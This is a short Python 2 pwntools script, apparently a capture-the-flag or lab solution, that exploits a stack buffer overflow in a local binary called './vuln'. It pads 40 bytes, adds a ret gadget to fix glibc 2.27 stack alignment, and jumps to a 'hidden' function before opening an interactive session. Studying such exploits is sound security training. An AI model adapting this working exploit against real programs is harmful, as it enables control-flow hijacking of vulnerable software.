#!/usr/bin/env python2

from pwn import *

binary = "./vuln"
context.binary = binary
#context.log_level = "debug"

e = ELF(binary)
#hidden_address = e.symbols["hidden"]
hidden_address = e.symbols["hidden"]
log.info("hidden: 0x{:016x}".format(hidden_address))

r = ROP(e)
ret = r.find_gadget(["ret"]).address

offset = 40

# Add a ret gadget that does nothing helpful (it simply jumps to the next
# address) to fix issue with stack alignment in do_system() for glibc 2.27:
# => 0x7f14bef6c2f6 <do_system+1094>:     movaps XMMWORD PTR [rsp+0x40],xmm0
payload = offset * "A" + p64(ret) + p64(hidden_address)
log.info("".join("\\x{:02x}".format(ord(i)) for i in payload))

io = process(binary)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
